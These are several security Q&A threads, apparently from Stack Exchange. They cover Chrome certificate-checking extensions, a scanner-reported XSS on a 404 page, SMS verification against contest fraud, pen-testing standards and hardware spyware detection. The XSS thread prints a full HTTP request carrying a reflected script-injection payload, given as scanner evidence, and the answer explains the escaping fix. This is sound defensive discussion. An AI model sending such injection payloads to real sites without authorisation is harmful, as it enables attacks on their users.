Is Google Chrome Extension access to SSL certificate validation output possible? I want to develop an extension which will stop an user from proceeding to any banking site (configurable by user) if a proxy like paros is seating in between sending fake certificate to user. My extension will compare the certificate presented from an external different source (XHR) with the one presented by browser and not allow user to proceed further in case of check failure. Recently, chrome has started detecting proxy and gives user-friendly error messages to "proceed anyway" or "back to safety". Once you accept the risk and click "proceed anyway", Chrome won't ask you again for the same website. I want to achieve effect similar to HSTS sites (completely blocking navigation in case of SSL validation error), but with flexibility to manage my own list. I studied the webRequest (https://developer.chrome.com/extensions/webRequest) and DeclarativeWebRequest APIs but was unable to find anything exposing SSL certificate validation process. In nutshell, something similar to Perspectives addon in firefox but with my own way to trust certificates in Chrome. Google has proposed a draft API couple of years back (https://sites.google.com/a/chromium.org/dev/developers/design-documents/extensions/proposed-changes/apis-under-development/webrequest-ssl-hooks), yet to be made available. Any workaround is appreciated. Thanks in advance.

No, and it doesn't seem likely to be added as a feature.  See https://code.google.com/p/chromium/issues/detail?id=107793#c20

  I'm just deeply concerned about the code complexity cost here, which increases the opportunity for both performance and security bugs. - rsleevi@chromium.org


XSS vulnerability in a module that doesn't exist We did a vulnerability scan on our systems and received a vulnerability:

Basit Submit Module Cross Site Scripting Vulnerability.

We are not even aware of this application on our system. We filed a dispute and it was denied stating this:

  If you are attempting to reproduce this issue you should be able to using the Burp Suite and it's repeater tool (available at http://portswigger.net/burp/):

GET /modules/Submit/index.php?op=pre&title=?"><script>alert('XSS')</script> HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: xxxx; FINGER_PRINT=xxxx; currencycode=USD;
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

On accessing the url specified in the evidence, we get a 404 page.
for eg. www.example.com/modules/Submit/index.php

How can we resolve this?

...we get a 404 page

My guess is that this 404 page includes the script given as argument and thus the 404 page itself is vulnerable to XSS.

  How can we resolve this?

Nothing is known about your application so no specific fix can be recommended. But you should look into how you create your 404 pages. Likely you simply include the URL the user tried to access in plain (i.e. not HTML escaped) inside the error message which makes your 404 page a possible attack vector for XSS.


Can SMS text messages be used to verify a person's unique identity through a short code system? We run online contests and want to eradicate cheating (yeah right), or at least mitigate it. I've asked the question regarding user experience here: https://ux.stackexchange.com/questions/15980/ways-to-avoid-online-contest-voting-fraud-is-sms-account-verification-too-much/15991#15991.

Now I want to know about the viability of my original premise: people typically only have access to one phone number that can receive SMS messages; they cannot create numerous viable numbers on the fly. Is this true?

Background: I understand that Google Voice and Gmail both allow users to send/receive text messages through numbers Google assigns. In the case of Gmail, you cannot receive texts from a number you have not previously sent to; the outside sender just gets an error. And Google in general does not currently recognize short codes as valid, so you simply can't send to them at all. So, "viability" of a number to us means that it can be used with our short code system.

Think about the fact that you can buy "throw-away" mobiles including SIM cards. Buying 100 phones and therewith 100 numbers would not really be a problem. In fact, it started to become one of the annoying things in Germany since last year: spammers buy hundreds of mobiles and (ab)use these to sens spam SMS.

Looking at your question, you need to know that SMS verification is somewhat like email verification. The only thing that makes SMS verifications "a bit more useful" than regular email verifications is that - as you stated yourself - it's easier to create a dozen of emails "on the fly". Yet, if it's interesting enough to do so, you can bet people will start trying to cheat by simply organizing themselves a truckload of mobiles with individual SIM cards and phone numbers.

So, to wrap it up in a simple answer:

It's true no one (except phone-providing companies themselves) can create phone numbers "on the fly". But it is easy possible to buy several (throw-away/one-time/whatever-they-call-it-in-your-country) mobile phones and use/abuse those phone numbers.

In the end, you have to think like "them" and decide if it would be worth the effort to invest money for mobiles and SIMS just to get past SMS verification. In most cases, it's not... but in some cases, it is.

As long as you don't expect too much from an SMS verification and as long as you're only aiming for "something better than email verification", you'll be more than fine with SMS verification.


Penetration testing methodologies There are several methodologies for penetration testing like OSSTMM, NIST and other frameworks. What are the differences among them? Who is the intended audience and where is the intended place/sector for these methodologies?
I read their documentations, but could not decide.

The PTES -- http://www.pentest-standard.org -- has one aspect the other frameworks do not, actionability from tools -- http://www.nothink.org/metasploit/documentation/metasploit_msf_analysis_ptes.pdf

An updated version of the tools to perform a PTES-based pen test, including the MSF analysis is available here -- https://github.com/trustedsec/ptf

OSSTMM does have a tool component, but only available from the expensive training. SANS has developed similar criteria to establish testing frameworks through expensive training, but they do have a great GPWN mailing list that is open to the public.

IMO, NIST Special Pubs do not cover pen testing per se, because even SP 800-115 doesn't take into account the complexities necessary to define or organize the best-practice thought around pen testing as performed by Veris Group, Silent Break Security, Mandiant, or similar outfits. The PCI-DSS guidelines go a lot further than what NIST provides, but it is still a bit lackluster -- https://www.pcisecuritystandards.org/documents/Penetration_Testing_Guidance_March_2015.pdf

To answer your question directly, I would say that the pen testing standards you referenced are outdated, while PTES is the commonly-held 2016 worldwide standard. There are also standards for the UK, namely CHECK, CREST and CBEST.


Checking if notebook is clean of hardware spyware Are there any simple steps one can follow to verify if a notebook is clean from hardware spyware?

What should be looked for? How should it look?

If any visual tutorials with photographs are available, that would be wonderful.

One note is that the person who would do the search has not much experience in identifying hardware.

This is an important question.  But I'm guessing you won't be happy with the answer.  While some of the simplest attacks can be easily detected, a wide range of attacks will be undetectable by nearly everyone.  So someone with little experience identifying hardware will be hard-pressed to get much confidence.
This basically underscores the importance of physical security at all times, which itself is a very hard problem.

On the other hand, this sort of attack is probably pretty rare, assuming you aren't a high-value target of some savvy attacker.   It is easy to get so paranoid about such things that you spin your wheels and don't get around to things that are really important.   See e.g. How do you manage security-related OCD (i.e. paranoia)?.  So you may well just want to not sweat it and skip the rest.

It might well help to follow @KarelThönissen's advice to take a picture of your hardware in its original, presumably "clean" state, inside and out, so you'll have something to compare with when you check it later.  But this will help you detect only the simplest, boldest attacks, like some keyloggers.

At the other end of the spectrum, evidently even computer manufacturers can't be sure that the parts arriving in their supply chain are free of malware.  See e.g. the comments of Greg Schaffer at DHS reported at Information Week: Homeland Security: Devices, Components Coming In With Malware.  If the people making your computer can't be confident that it doesn't have hardware malware, that makes it pretty hard for an IT shop to do so.

In between those extremes, note one of many examples of quickly hacking a voting machine in ways that are difficult to detect, e.g. by replacing a ROM chip: The New Jersey Voting-machine Lawsuit
and the AVC Advantage DRE Voting Machine (pdf).

@this.josh points to some good sources on hardware hacking at Literature about IT security from hardware standpoint.

Note also, as discussed at Wireless keyboard sniffing risk, that some hardware spyware isn't inside the computer, but detects what is going on via electromagnetic or acoustic surveillance.  E.g. even a wired keyboard or display can be spyed on remotely, so you need to somehow also check that the surrounding area is clean.

Attacks on firmware like the BIOS might also be relevant to you.  See How to check the integrity of my BIOS? and Tamper-proof BIOS password & settings storage with Trusted Platform Module? for some good tips in that realm.